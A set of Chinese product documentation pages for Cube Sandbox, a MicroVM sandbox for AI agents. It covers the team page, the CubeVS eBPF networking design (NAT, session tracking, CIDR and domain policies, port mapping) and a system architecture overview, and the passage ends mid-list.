几分钟内从零到运行沙箱 * [本地构建部署](./guide/self-build-deploy.md) — 从源码构建并在单机上部署 * [多机集群部署](./guide/multi-node-deploy.md) — 扩展到多节点集群 * [架构概览](./architecture/overview.md) — 了解系统设计与核心组件 ## 场景示例 SDK 示例与端到端场景： * [示例项目](./guide/tutorials/examples.md) — 代码执行、浏览器自动化、OpenClaw 集成、RL 训练等场景 * [仓库示例合集](https://github.com/tencentcloud/CubeSandbox/tree/master/examples) — GitHub 上的完整示例 --- --- url: https://cubesandbox.com/zh/about-us.md description: 腾讯云 IaaS 前沿技术团队介绍。 --- # 关于我们 腾讯云 IaaS 前沿技术团队隶属于腾讯云 IaaS 产品团队，是一支专注于前沿技术探索与核心技术突破的专业技术团队。团队工作范畴涵盖高性能高可用网络、Agent Infra、KVCache、集合通信等多个关键技术领域，目前已成功实现多项核心成果的大规模商业化部署。 ## 核心成果 ### Cube Sandbox 一款专为 AI Agent 设计的极速安全沙箱，具备行业领先的性能优势。该产品已在腾讯云内部函数计算、Agent 沙箱等核心业务中实现大规模落地，高效服务于腾讯内外众多 AI/Agent 头部业务，且已对外开源，助力行业发展。 * 开源地址：[github.com/tencentcloud/CubeSandbox](https://github.com/tencentcloud/CubeSandbox) ### HARP 协议栈 团队自主研发的多路径可靠传输协议，类似于 AWS SRD。该协议已在腾讯云自研智能网卡中完成部署实现，并成功应用于腾讯云存储系统，覆盖数十万计算节点，实现规模化落地应用。 ### HARP Tunnel 作为腾讯云下一代 Overlay 协议，可实现接近零损耗的物理网络百毫秒级业务无感避障，目前已在腾讯云虚拟网络中大规模部署，覆盖百万计算节点。相关技术实践已被 NSDI 26 会议录用，对应论文题为： > [*Harp: Improving VPC Network Availability via Efficient Failure Detection and Reroute in Tencent Cloud*](https://www.usenix.org/conference/nsdi26/presentation/hu-jiayu) ## 联系我们 我们热忱欢迎业界同行与我们开展技术交流与深度探讨，共同推动行业技术进步。同时，团队持续广纳英才，诚邀优秀人才加入。 感兴趣的同学可通过以下方式与我们联系： * 邮箱：<ronyjin@tencent.com> * GitHub：[github.com/tencentcloud/CubeSandbox](https://github.com/tencentcloud/CubeSandbox) --- --- url: https://cubesandbox.com/zh/architecture/network.md --- # CubeVS 网络模型 Cube-Sandbox 为每个沙箱提供独立的虚拟网络，使其拥有私有的外部连接能力，同时完全在内核态执行每沙箱的安全策略。实现这一切的子系统称为 **CubeVS** —— 一个专为沙箱场景设计的网络虚拟化层，由三个 eBPF 程序、一组共享的 BPF Map 和一个 Go 控制面库组成。 本文档介绍 CubeVS 的整体架构、流量路径、NAT 模型、策略引擎以及设备生命周期管理。 *** ## 1. 架构概览 ### 1.1 设计目标 传统的容器网络方案（Linux Bridge、OVS、基于 iptables 的 NAT）在每个报文上都会引入额外开销，并且开销会随主机上租户数量的增长而加剧。CubeVS 用三个精简的 eBPF 程序取代了这一整套网络栈，它们被挂载在内核数据路径的关键位置上，协同工作： * **无共享网桥与软件交换机** —— 每个沙箱通过专属 TAP 设备直接接入内核数据路径，避免了基于网桥的方案所引入的广播域与每跳开销。 * **内核态策略执行** —— 网络策略在 eBPF 中完成评估，报文无需到达用户态，CPU 开销极低。 * **可扩展的 NAT** —— SNAT 端口分配使用带自旋锁保护的资源池和防碰撞插入机制，避免了大规模部署中 iptables 规则膨胀的问题。 ### 1.2 三个 BPF 程序 CubeVS 在报文可能经过的三个网络边界上各挂载一个 BPF 程序： | 程序 | 源文件 | 挂载点 | 方向 | 职责 | |------|--------|--------|------|------| | `from_cube` | `mvmtap.bpf.c` | 各 TAP 设备的 TC ingress | 沙箱 --> 宿主机 | 策略检查、DNS 拦截、SNAT、会话创建、ARP 代理 | | `from_world` | `nodenic.bpf.c` | 宿主机网卡的 TC ingress | 外部 --> 宿主机 | 反向 NAT、端口映射代理 | | `from_envoy` | `localgw.bpf.c` | cube-dev 的 TC egress | 宿主机 --> 沙箱 | 处理宿主机侧发往沙箱的流量：透明代理（CubeEgress）回包与宿主机就绪/存活探测 | ### 1.3 Go 控制面 `cubevs/` Go 包封装了 BPF 的生命周期管理： * **`Init()`** 加载并固定三个 BPF 目标文件，向 BPF 字节码注入宿主机相关的常量（IP、MAC、接口索引），并挂载共享 TC 过滤器。 * **`AddTAPDevice()` / `DelTAPDevice()`** 注册和注销沙箱 TAP 设备，包括其元数据以及网络策略（CIDR 与域名规则）。 * **`AttachFilter()`** 在 TAP 设备上创建 clsact qdisc，并挂载 `from_cube` TC 过滤器。 * **`SetSNATIPs()`** 填充 SNAT IP 池。 * **端口映射 API**（`AddPortMapping`、`DelPortMapping` 等）在运行时更新端口映射表。 * **回收器** 以后台 goroutine 方式运行：一个清理过期的 NAT 会话，另一个清理过期的 DNS 学习策略条目。 ### 1.4 BPF Map 三个程序通过固定在 `/sys/fs/bpf/` 下的 BPF Map 共享状态。这些 Map 按功能划分为六组： | 分组 | Map | 用途 | |------|-----|------| | 设备注册表 | `mvmip_to_ifindex`、`ifindex_to_mvmmeta` | 沙箱的 IP-到-设备、设备-到-元数据查找 | | NAT 会话 | `egress_sessions`、`ingress_sessions` | 双向五元组会话跟踪（见 §3） | | SNAT 池 | `snat_iplist` | SNAT IP 及每个 IP 的源端口水位线 | | 端口映射 | `remote_port_mapping`、`local_port_mapping` | 沙箱对外暴露服务的静态 NAT 规则（见 §7） | | L3/L4 策略 | `allow_out_v2`、`deny_out` | 每沙箱的 CIDR 允许/拒绝列表（见 §5） | | L7 / 域名策略 | `dns_allow`、`dns_query_track` | 每沙箱的域名规则与 DNS 查询待响应状态（见 §6） | `allow_out_v2` 中的条目可携带可选的过期时间，使 DNS 学习出来的规则与静态规则共存于同一个 Map。 所有 Map 通过文件系统固定，使得在不同时间加载的程序（例如 `Init()` 之后才加载的每 TAP 过滤器）能够共享状态。 *** ## 2. 流量路径 ### 2.1 出站：沙箱到外部网络 当沙箱进程发起到外部的连接时，报文经过以下路径： ```mermaid graph LR A["沙箱<br/>169.254.68.6:src_port"] -->|原始报文| B["TAP 设备"] B -->|TC ingress| C["from_cube<br/>(mvmtap.bpf.c)"] C -->|SNAT + 策略 + 会话| D["宿主机网卡"] D --> E["外部网络"] ``` **详细步骤：** 1. 沙箱发送报文，源 IP 为 `169.254.68.6`（固定内部地址），源端口由其 TCP/UDP 栈选择。 2. 报文进入 TAP 设备，命中 `from_cube` TC ingress 过滤器。 3. `from_cube` 检查目标。若为沙箱网关（`169.254.68.5`），过滤器将报文重定向到 `cube-dev`，交给宿主机协议栈处理。 4. 对于其他目标，`from_cube` 依次执行： * **评估网络策略**（见 §5）。被策略标记为需要经 L7 透明代理（CubeEgress）检查的流量会被重定向到 `cube-dev`，不再走直接 NAT 路径；宿主机侧代理再从那里接手。 * **拦截 DNS 查询**，供域名策略（见 §6）在响应回来时学习解析出的 IP。 * **创建或更新 NAT 会话**，写入 `egress_sessions` 与 `ingress_sessions`。 * **执行 SNAT**：将沙箱源 IP 和端口替换为 SNAT 池中的 IP 及动态分配的端口，同时更新 L3 和 L4 校验和。 * **重定向**改写后的报文到宿主机网卡。 ### 2.2 入站：外部网络到沙箱 回复报文与端口映射的入站连接到达宿主机网卡，被路由回正确的沙箱： ```mermaid graph LR A["外部网络"] -->|回复报文| B["宿主机网卡"] B -->|TC ingress| C["from_world<br/>(nodenic.bpf.c)"] C -->|会话查找 + 反向 NAT| D["TAP 设备"] D --> E["沙箱<br/>169.254.68.6:dst_port"] ``` `from_world` 处理两种情况： * **基于会话的反向 NAT** —— 过滤器在 `ingress_sessions` 中查找报文的五元组。若匹配成功，则重建沙箱侧的原始五元组，执行反向 DNAT，并将报文重定向到对应 TAP 设备。 * **端口映射入站** —— 若会话未匹配，过滤器根据目标端口查找 `remote_port_mapping`。若匹配成功，说明这是沙箱对外暴露服务的入站连接，过滤器将目标 DNAT 到沙箱的监听端口并重定向至 TAP。 ### 2.3 宿主机到沙箱流量 宿主机侧有两类流量通过 `cube-dev` 进入沙箱，均由 `from_envoy` 处理： ```mermaid graph LR A["CubeEgress 代理<br/>宿主机就绪探测"] -->|报文| B["cube-dev"] B -->|TC egress| C["from_envoy<br/>(localgw.bpf.c)"] C -->|DNAT 到沙箱 IP<br/>重定向| D["TAP 设备"] D --> E["沙箱"] ``` 两种情况下 `from_envoy` 都会将目标改写为沙箱内部 IP（`169.254.68.6`），然后将报文重定向到沙箱的 TAP。差别在于源地址的处理方式： * **CubeEgress 代理回包。** 当沙箱的出站 HTTP/HTTPS 被重定向到宿主机上的 L7 透明代理（CubeEgress）时，CubeEgress 会代表沙箱与真实远端建立连接、接收响应，然后通过 `cube-dev` 把响应送回沙箱，源 IP 保留为真实的远端地址（借助 `IP_TRANSPARENT`）。`from_envoy` **保留该源 IP**，因此沙箱看到的响应就像是从远端对端直接回来的一样。 * **宿主机发起的就绪/存活探测。** 宿主机自身会向沙箱内的服务发送就绪与存活探测。这类报文来自宿主机协议栈，通过 `cube-dev` 出站，源 IP 是 cube-dev 自身的地址。`from_envoy` **将源地址改写为沙箱网关**（`169.254.68.5`），因此沙箱看到的探测就像是从其默认网关发来的一样。 *** ## 3. 会话跟踪 CubeVS 维护有状态的连接跟踪，以确保回复报文能被正确反向 NAT，同时清理陈旧连接。 ### 3.1 双 Map 设计 两个 Map 协同工作： * **`egress_sessions`** 是主会话表。Key 为沙箱侧的原始五元组。Value 保存完整的 NAT 状态：SNAT IP 和端口、TAP ifindex、时间戳、TCP 状态以及主动关闭标志。 * **`ingress_sessions`** 是反向查找表。Key 为外部侧的五元组。Value 仅存储足以重建 `egress_sessions` Key 并完成反向 NAT 的信息。 这种双 Map 方案避免了在两个方向上重复存储完整的会话状态，同时仍能从连接的任意一端实现 O(1) 查找。 ### 3.2 协议跟踪 CubeVS 参照 Linux 内核 `nf_conntrack` 实现 TCP 状态跟踪，识别标准状态（`SYN_SENT`、`ESTABLISHED`、`FIN_WAIT`、`TIME_WAIT` 等），使会话超时随协议状态调整 —— `ESTABLISHED` 会话可安全存活数小时，而半打开与关闭中的会话会在数秒到数分钟内被回收。UDP 和 ICMP 使用更简单的两状态模型（`UNREPLIED` / `REPLIED`），首次回复到达后超时会延长。 ### 3.3 会话回收器 一个 Go 后台 goroutine 每 5 秒执行一次，遍历 `egress_sessions`。对每个会话，将 `当前时间 - access_time` 与其状态对应的超时值比较： | 协议 | 状态 | 超时 | |------|------|------| | TCP | SYN\_SENT / SYN\_RECV | 1 分钟 | | TCP | ESTABLISHED | 3 小时 | | TCP | FIN\_WAIT | 2 分钟 | | TCP | CLOSE\_WAIT | 1 分钟 | | TCP | LAST\_ACK | 30 秒 | | TCP | TIME\_WAIT | 2 分钟（若关闭由沙箱主动发起，则 10 秒） | | TCP | CLOSE | 10 秒 | | UDP | UNREPLIED / REPLIED | 30 秒 / 180 秒 | | ICMP | 任意 | 30 秒 | 会话过期时，回收器同时删除 `egress_sessions` 与 `ingress_sessions` 中的条目。若会话不在正常终止状态（例如 `ESTABLISHED` 未经 FIN 即超时），会记录告警。回收器还会监控会话数量，当占用率超过 Map 容量的 80% 时发出告警。 *** ## 4. SNAT 与 DNAT ### 4.1 SNAT：出站地址转换 沙箱的每个出站报文在离开宿主机前，必须将源地址改写为可路由地址。CubeVS 在 `from_cube` 中使用最多四个 SNAT IP 的地址池完成此操作。 **IP 选择** 按沙箱确定性分配：`index = jhash(sandbox_ip) % 4`。这确保同一沙箱的所有连接使用相同的 SNAT IP，简化了外部防火墙规则和日志记录。 **端口分配** 使用每 SNAT IP 条目的单调递增水位线，从端口 30000 开始。条目受 BPF 自旋锁保护，确保不同 CPU 上的并发分配不会产生竞争。若选中的 `SNAT-IP:port` 与 `ingress_sessions` 中的已有条目冲突，分配器会递增端口并有限次数地重试，超出上限则丢弃该报文。 分配成功后，`from_cube` 原地更新 IP 和传输层头部，再将报文重定向到宿主机网卡。 ### 4.2 DNAT：入站地址转换 DNAT 发生在三种场景中： 1. **宿主机到沙箱流量**（cube-dev 上的 `from_envoy`）—— 目标 IP 被改写为沙箱内部 IP（`169.254.68.6`）。源地址要么保留（CubeEgress 代理回包），要么改写为沙箱网关（宿主机发起的探测）；详见 §2.3。 2. **会话回复流量**（宿主机网卡上的 `from_world`）—— 目标 IP 和端口从节点的 SNAT 地址改写回沙箱的原始源地址和端口，由 `ingress_sessions` 中的反向查找提供转换。 3. **端口映射流量**（宿主机网卡上的 `from_world`）—— 对通过端口映射暴露的服务，目标直接根据 `remote_port_mapping` 改写为沙箱的监听端口，不经过会话表。 *** ## 5. 网络策略（基于 CIDR） CubeVS 完全在内核态执行每沙箱的出站网络策略，使用 LPM（最长前缀匹配）Trie 实现基于 CIDR 的规则。 ### 5.1 架构 每个沙箱可以为其 TAP 设备关联两个 LPM Trie： * **`allow_out_v2`** —— 目标 CIDR 的允许列表。若目标匹配，报文将被放行，不再检查拒绝列表。条目可携带过期时间，DNS 学习出来的规则（§6）正是通过这种方式与静态规则共存于同一个 Map。 * **`deny_out`** —— 目标 CIDR 的拒绝列表。若目标匹配（且未在允许列表中），报文将被丢弃。 两者均实现为以 TAP ifindex 为 Key 的 Hash-of-Maps，因此一个沙箱的策略更新不会触及其他沙箱的 Map。 ### 5.2 评估顺序 对于每个出站报文： 1. 若目标为沙箱网关（`169.254.68.5`）：放行（内部流量）。 2. 若 `allow_out_v2` 中有匹配条目：放行。 3. 若 `deny_out` 中有匹配条目：丢弃。 4. 否则：放行。 优先级为 **允许 > 拒绝 > 默认放行**，因此运维人员可以设置宽泛的拒绝规则（例如 `0.0.0.0/0` 阻止所有互联网访问），然后通过允许规则开放特定白名单。 无论策略如何配置，CubeVS 始终拒绝以下私有和链路本地地址段，以避免沙箱探测宿主机内部网络或其他沙箱：`10.0.0.0/8`、`127.0.0.0/8`、`169.254.0.0/16`、`172.16.0.0/12`、`192.168.0.0/16`。 ### 5.3 策略配置 注册 TAP 设备时，调用方提供 `MVMOptions` 结构体，其中包含： * `AllowInternetAccess` —— 若为 `false`，安装 `0.0.0.0/0` 全面拒绝规则。 * `AllowOut` / `DenyOut` —— CIDR 列表（对于 `AllowOut`，也可以是域名 —— 见 §6）。 策略可在运行时通过修改内层 LPM Trie 进行更新，无需卸载或重新加载 BPF 程序。 *** ## 6. 网络策略（基于域名） 当服务的 IP 是动态的（CDN、云 API），单纯的 CIDR 规则就不够用了。为此 CubeVS 还支持 **基于域名** 的允许规则，规则条目从沙箱自身的 DNS 流量中学习得来。 ### 6.1 工作方式 域名规则按沙箱存放在 `dns_allow` 中，这是一个以反转小写域名为 Key 的 LPM Trie。支持两种形式： * 精确匹配，例如 `qq.com` —— 只匹配 `qq.com` 本身。 * 通配前缀，例如 `*.qq.com` —— 匹配 `a.qq.com` 等子域名，但不匹配顶级域名本身。 沙箱发出 DNS 查询时，`from_cube` 从中提取查询名并到 `dns_allow` 中查找。若域名被允许，就将该次查询的 id 与源端口记入 `dns_query_track`。响应回来时，`from_world` 在 `dns_query_track` 中匹配，提取 A 记录，并将每个解析出的 IP 写入该沙箱的 `allow_out_v2`，过期时间取自 DNS TTL。DNS 回收器按与 NAT 会话回收器一致的方式清理过期条目。 因为 DNS 学习出来的规则落在与静态 CIDR 相同的 `allow_out_v2` 里，§5 中的快路径无需为它们做任何特殊处理。 ### 6.2 未启用时零开销 DNS 拦截是逐沙箱按需启用的。`from_cube` 与 `from_world` 都用沙箱元数据里的一个标志（`dns_policy_flags`）作为总闸门 —— 只有当调用方为该沙箱配置了域名规则时，这个标志才会被置位。若未配置，DNS 报文走普通 UDP NAT 路径，不做任何额外解析，不写 `dns_query_track`，也不查询 `dns_allow`。只使用 CIDR 策略的沙箱不会为域名策略的机制付出任何代价。 *** ## 7. 端口映射 沙箱无法从宿主机外部直接访问。当沙箱需要暴露服务时，CubeVS 提供端口映射 —— 一条静态 NAT 规则，将到达宿主机特定端口的流量转发到沙箱的特定端口。 ### 7.1 双向映射 两个 BPF Map 支撑端口映射： * **`remote_port_mapping`** 将宿主端口映射到（TAP ifindex，沙箱监听端口）。`from_world` 用它将入站连接路由到正确的沙箱。 * **`local_port_mapping`** 将（TAP ifindex，沙箱监听端口）映射回宿主端口。`from_cube` 将其用作优化：当沙箱从已映射的监听端口发送报文时，过滤器可跳过完整的会话创建，直接将报文 SNAT 到节点 IP 的正确端口。 ### 7.2 入站流程 1. 外部客户端发送报文到 `node_ip:host_port`。 2. `from_world` 查找 `remote_port_mapping[host_port]`。 3. 若匹配，过滤器将目标改写为 `169.254.68.6:sandbox_listen_port` 并重定向到 TAP 设备。 此路径不会在会话表中创建条目，使 Map 在长连接服务场景下保持精简。 ### 7.3 管理 Go API 提供了 `AddPortMapping()`、`DelPortMapping()`、`ListPortMapping()` 和 `GetPortMapping()`，用于在运行时管理映射关系。 ### 7.4 计算节点端口分配 为避免不同子系统之间的端口冲突，计算节点上的可用端口被划分为三段： | 端口范围 | 用途 | |----------|------| | `10000`--`19999` | 宿主机临时端口（`ip_local_port_range`） | | `20000`--`29999` | CubeProxy 访问沙箱所用的端口范围 | | `30000`--`65535` | 沙箱出站报文经 SNAT 使用的源端口 | Cubelet 内嵌网络运行时为沙箱 port mapping 分配宿主端口时，**仅使用** `20000`--`29999`。产品创建路径通过 `exposedPorts` 声明容器端口，并始终请求自动分配宿主端口（`HostPort=0`），用户无法指定具体 host port。运行时再从该管理段中分配空闲端口，并在创建响应中返回映射结果。 *** ## 8. TAP 设备生命周期 每个沙箱获得一个专用的 TAP 设备，作为其在宿主侧的唯一网络接口。CubeVS 管理这些设备的完整生命周期。 **注册。** 沙箱运行时创建新沙箱时调用 `AddTAPDevice(ifindex, ip, id, version, options)`，将沙箱元数据写入 `ifindex_to_mvmmeta` 与 `mvmip_to_ifindex`，并根据 `options` 初始化每沙箱的策略 Map（CIDR 与域名规则）。§5.2 中的始终拒绝 CIDR 先安装，然后是调用方指定的规则。 **过滤器挂载。** TAP 设备在操作系统层面创建后，`AttachFilter(ifindex)` 在其上创建 clsact qdisc 并挂载 `from_cube` TC 过滤器。从此刻起，沙箱发送的每个报文都会被拦截。 **清理。** `DelTAPDevice(ifindex, ip)` 移除每沙箱的策略 Map 与设备注册表条目。引用此 TAP 设备的活跃会话保留在原处 —— 会话回收器会在超时后清理它们，从而避免在销毁时进行代价高昂的全 Map 扫描。 *** ## 9. 初始化 `cubevs.Init()` 在 Cubelet 内嵌网络运行时启动时调用一次（网络插件 / `NetworkController` 初始化阶段）。在加载之前，先将宿主机相关的常量（沙箱 IP 与网关 IP，cube-dev 接口索引/IP/MAC，宿主机网卡接口索引/IP/MAC，下一跳网关 MAC）注入到 BPF 字节码中，然后将三个 BPF 程序及其 Map 加载并固定到 `/sys/fs/bpf/` 下。随后挂载共享 TC 过滤器：`from_envoy` 挂到 cube-dev 的 egress，`from_world` 挂到宿主机网卡的 ingress。每 TAP 的 `from_cube` 过滤器在稍后随沙箱的创建逐个挂载（见 §8）。 *** ## 10. ARP 代理 沙箱被分配链路本地 IP（`169.254.68.6`），默认网关为 `169.254.68.5`。由于这些地址仅存在于 TAP 设备的点对点链路内，`169.254.68.5` 处并没有真实的主机来响应 ARP 请求 —— 而且不同于基于网桥的方案，也没有可以泛洪该请求的共享二层网段。 `from_cube` 承担 ARP 应答的角色：当沙箱发出 *"谁是 169.254.68.5？"* 的请求时，过滤器现场构造一份 ARP 回复，将发送方 MAC 填为 cube-dev 网关 MAC，然后沿同一 TAP 送回沙箱。沙箱由此获得默认网关的有效 ARP 条目，可以正常发送 IP 报文，这些报文之后都会走 §2.1 的出站路径。 *** ## 11. 总结 CubeVS 通过三层 eBPF 架构实现沙箱网络隔离： ```mermaid graph TB subgraph "宿主机" EG["CubeEgress 代理 /<br/>宿主机探测"] CD["cube-dev<br/>(from_envoy)"] NIC["宿主机网卡<br/>(from_world)"] end subgraph "沙箱 TAP 设备" T1["TAP 1<br/>(from_cube)"] T2["TAP 2<br/>(from_cube)"] T3["TAP N<br/>(from_cube)"] end subgraph "沙箱" S1["沙箱 1"] S2["沙箱 2"] S3["沙箱 N"] end EG --> CD CD --> T1 & T2 & T3 T1 --> S1 T2 --> S2 T3 --> S3 S1 --> T1 S2 --> T2 S3 --> T3 T1 & T2 & T3 -->|SNAT| NIC NIC -->|反向 NAT| T1 & T2 & T3 NIC --> EXT["外部网络"] EXT --> NIC ``` 整个设计建立在两点之上： * **数据面逻辑住在内核里。** 策略评估、NAT、会话跟踪、DNS 学习与 ARP 应答都在 eBPF 中完成；Go 控制面只负责生命周期与定期清理。 * **每个沙箱端到端隔离。** 各自的 TAP 设备、各自的策略 Map、各自的会话 —— 同一宿主机上的两个沙箱之间没有共享的网桥或交换机。 --- --- url: https://cubesandbox.com/zh/architecture/overview.md --- # 架构概览 Cube Sandbox 是一套**面向 AI Agent 场景专门构建的基础设施**，可在数十毫秒内启动具备硬件隔离的 MicroVM。本页介绍系统的整体架构、核心组件及其交互方式。 ## 设计原则 | 原则 | 具体体现 | |------|---------| | **Agent 优先** | 不局限于经典的"LLM 调用工具 → 沙箱执行 → 返回结果"闭环；生命周期语义、SDK 形态、自动暂停/恢复以及极速克隆/回滚等特性，同样支持在沙箱内直接托管长时运行的 Agent 与有状态服务（如常驻开发环境、Web 服务、数据库等）。 | | **硬件隔离** | 每个沙箱在 KVM MicroVM 中运行独立的 Linux 内核，不存在共享内核的逃逸面。 | | **毫秒级启动** | 预快照模板 + RustVMM 恢复路径，实现 100ms 以内的冷启动。 | | **零信任出网** | 所有出站流量都经过 CubeEgress（L7 MITM 代理），域名必须显式放行。 | | **无状态控制面** | CubeAPI 与 CubeMaster 不保存本地状态，所有协调通过 Redis 完成，可轻松横向扩容。 | | **高效存储** | CubeCoW 借助内核 `FICLONE` ioctl 实现 O(1) 快照与克隆，零数据拷贝。 | ## 整体架构 ![Cube Sandbox 架构图](../../assets/cube-sandbox-arch.png) ```mermaid flowchart TB Client["客户端 / SDK"] -->|兼容 E2B 的 REST| API["CubeAPI"] API -->|gRPC| Master["CubeMaster"] Master -->|gRPC| Cubelet["Cubelet"] Cubelet -->|containerd Shim v2| Shim["CubeShim"] Shim -->|KVM API| Hyp["CubeHypervisor<br/>(RustVMM)"] Hyp --> VM["MicroVM<br/>(沙箱)"] Master -.->|生命周期事件| Redis["Redis"] Proxy["CubeProxy"] -.->|元数据查询| Redis Client -->|访问沙箱服务| Proxy Proxy -->|路由到沙箱| VM Cubelet -->|卷操作| CoW["CubeCoW<br/>(xfs-reflink)"] VM -->|出站流量| VS["CubeVS<br/>(eBPF)"] VS -->|TPROXY| Egress["CubeEgress<br/>(OpenResty)"] VS -->|SNAT| Internet["互联网"] ``` ## 控制面 vs 数据面 | 层 | 组件 | 职责 | |----|------|------| | **控制面** | CubeAPI、CubeMaster、WebUI、Redis | API 网关、调度、状态协调、运维控制台 | | **数据面** | Cubelet、CubeShim、CubeHypervisor、CubeCoW、CubeVS、CubeEgress、CubeProxy | VM 生命周期、存储、网络、安全策略执行、请求路由 | 控制面是**无状态**的——Redis 是沙箱元数据与生命周期事件的唯一可信源，任意 CubeAPI 或 CubeMaster 实例都可处理任意请求。 数据面是**节点本地**的——每个计算节点运行 Cubelet、CubeShim、CubeHypervisor、CubeVS、CubeEgress，管理驻留在该主机上的沙箱。 ## 核心组件 ### CubeAPI 基于 **Rust**（Axum）实现的兼容 E2B 的 REST API 网关。将 E2B SDK 调用转换为内部 gRPC，处理鉴权回调并转发至 CubeMaster。只需替换 API URL 等环境变量，即可从 E2B 云无缝切换到 Cube Sandbox。 ### CubeMaster 基于 **Go** 实现的集群级编排调度器。接收沙箱创建/销毁/暂停/恢复请求，依据资源可用性选择目标节点，将工作分发给 Cubelet，并将生命周期事件发布到 Redis。 ### CubeProxy 基于 **OpenResty**（nginx + Lua）实现的反向代理与请求路由组件。支持两种路由模式，共享同一份 Redis 沙箱元数据： * **Host 模式**：解析 `Host` 头中的 `<port>-<sandbox_id>.<domain>`。 * **路径模式**：解析 URL 中的 `/sandbox/<sandbox_id>/<port>/...`（在不便配置泛解析 DNS 与 TLS 时尤其方便，详见 [HTTPS 与域名指南](../guide/https-and-domain.md)）。 它配套独立部署的 **cube-lifecycle-manager** 服务（基于 **Go** 实现），负责监听生命周期事件、透明地暂停空闲沙箱、并在请求到达时恢复已暂停的沙箱。cube-lifecycle-manager 通过 Redis 上的注册表实时发现所有在线的 CubeProxy 副本，因此 CubeProxy 可多副本扩展，不需要任何静态配置。 ### Cubelet 基于 **Go** 实现的节点本地调度组件。管理单节点上所有沙箱实例的完整生命周期（创建 → 运行 → 暂停 → 恢复 → 快照 → 销毁）。与 containerd 集成完成镜像拉取，与 CubeCoW 集成完成卷管理。 ### CubeShim 基于 **Rust** 实现 **containerd Shim v2** 接口，作为容器运行时抽象与实际 MicroVM 之间的桥梁。负责沙箱资源准备（rootfs、内存文件、内核）、VM 启动/恢复、vsock 通信，以及用于自动暂停的原地快照。 ### CubeHypervisor 基于 **RustVMM** + **KVM** 构建的轻量级 VMM（虚拟机监视器）。管理 MicroVM 生命周期：vCPU 配置、内存区域、virtio 设备（block、net/vsock、fs）、启动、暂停、快照与恢复。经过 seccomp 加固，系统调用面最小化。 ### CubeVS（网络虚拟化） 基于 eBPF 的内核态网络数据面。三个挂载在关键位置的 BPF 程序提供： * **按沙箱粒度的 SNAT/DNAT**，无 iptables 规则膨胀。 * **有状态连接追踪**，支持协议感知的超时（TCP 11 状态机、UDP、ICMP）。 * **LPM-trie 网络策略**，线速执行。 * **ARP 代理**，用于点对点 TAP 链路。 详见 [CubeVS 网络模型](./network.md)。 ### CubeCoW（存储引擎） 基于 **Rust** 实现的精简配置卷管理库，通过内核 `FICLONE` ioctl 在 XFS (reflink) 上实现 O(1) 快照与克隆。核心特性： * 快照仅为元数据操作（共享 extent，零字节拷贝）。 * 扁平快照模型——删除任一快照不影响其他快照。 * **增量脏页追踪**：快照仅持久化自上次快照以来发生变更的匿名（脏）内存页，未变更页通过 reflink 继续共享，从而最小化写放大和快照体积。 * Cubelet 通过 CubeCoW 完成所有 rootfs 与内存卷操作（创建、克隆、快照、删除）。 ### CubeEgress（安全代理） 部署在每台主机上的透明 **L7 出网代理**（OpenResty + Lua），通过 TPROXY 拦截每一个出站 HTTP/HTTPS 请求： * **域名过滤**——按 SNI、host、method、scheme 或 path 放行/拒绝。 * **凭据注入**——追加 `Authorization` 头，使密钥永不进入沙箱。 * **访问审计**——每次决策都记录到按主机划分的 JSONL 审计日志。 沙箱信任由 CubeEgress 签发的根 CA（已预置于模板中），从而实现透明 TLS 检查。 ### WebUI 基于浏览器的管理控制台（`:12088`）。无需 CLI 即可完成沙箱、模板、节点及版本矩阵管理。详见 [WebUI 指南](../guide/webui.md)。 ## 请求生命周期 一次典型的 `Sandbox.create()` 调用在系统中的流转如下： ```mermaid sequenceDiagram participant C as 客户端 / SDK participant A as CubeAPI participant M as CubeMaster participant R as Redis participant L as Cubelet participant S as CubeShim participant H as CubeHypervisor participant V as CubeVS C->>A: POST /sandboxes (兼容 E2B) A->>M: gRPC CreateSandbox M->>M: 选择目标节点（资源匹配） M->>L: gRPC RunCubeSandbox L->>L: 准备 rootfs（从模板 CubeCoW 克隆） L->>S: containerd Shim v2 → Create + Start S->>H: launch_vmm() → create_vm() → restore_vm() H-->>S: VM 就绪（vsock 监听中） S-->>L: Task 已启动 L->>V: AddTAPDevice + AttachFilter L-->>M: 沙箱运行中 M->>R: 发布生命周期事件 M-->>A: 沙箱 ID + 元数据 A-->>C: 201 { sandbox_id, ... } ``` ## 存储层 ``` 模板（只读基础） └── FICLONE ──→ 沙箱 rootfs 卷 (CoW) ├── FICLONE ──→ 快照 A └── FICLONE ──→ 克隆 1、克隆 2、... ``` * **模板创建**：OCI 镜像 → Buildkit → rootfs + 冷启动 → 内存快照 → 注册为模板。 * **沙箱启动**：Cubelet 通过 CubeCoW 克隆模板的 rootfs 与内存卷（O(1)，零数据拷贝），随后 CubeShim 从内存快照恢复 VM。 * **增量快照**：仅写入匿名（脏）页，基础页通过 reflink 与上一次快照共享。 ## 网络层 每个沙箱分配一个独立的 TAP 设备。CubeVS 的三个 eBPF 程序在内核态处理全部数据面转发： | 程序 | 挂载点 | 方向 | 职责 | |------|--------|------|------| | `from_cube` | TAP 的 TC ingress | 沙箱 → 主机 | SNAT、策略、ARP 代理 | | `from_world` | 主机网卡的 TC ingress | 外部 → 主机 | 反向 NAT、端口映射 | | `from_envoy` | cube-dev 的 TC egress | 代理 → 沙箱 | DNAT、透明代理支持 | 无 iptables 规则、无 Linux Bridge、无 OVS——每个边界均为纯 eBPF。 ## 安全层 安全在多个层面得到强制： 1. **硬件隔离**——每个沙箱拥有独立内核的 KVM MicroVM。 2. **网络隔离**——CubeVS 默认拒绝私网/链路本地地址段，支持按沙箱粒度的放行/拒绝策略。 3. **出网控制**——CubeEgress L7 代理 + 域名白名单。 4. **凭据保险库**——通过改写请求头注入密钥，绝不暴露给沙箱或模型上下文。 5. **Seccomp**——CubeHypervisor 以最小系统调用白名单运行。 6. **鉴权**——CubeAPI 支持可插拔的鉴权回调。 ## 支撑设施 | 组件 | 职责 | |------|------| | **Redis** | 沙箱元数据、生命周期事件流、CubeProxy 路由表，以及自动暂停/恢复协调所需的分布式锁等共享状态。 | | **containerd** | 各节点上的镜像拉取、存储与 CRI 集成。CubeShim 注册为 Shim v2 运行时。 | | **Buildkit** | 模板构建引擎——将 OCI 镜像转换为 Cube Sandbox 可用的 rootfs + 快照包。 | ## 下一步 * [CubeVS 网络模型](./network.md) —— 深入了解 CubeVS、流量路径、会话追踪与策略引擎。 * [沙箱生命周期](../guide/lifecycle.md) —— 状态模型、自动暂停与自动恢复。 * [快照、回滚与克隆](../guide/snapshot-rollback-clone.md) —— 基于 CubeCoW 的高级 API。 * 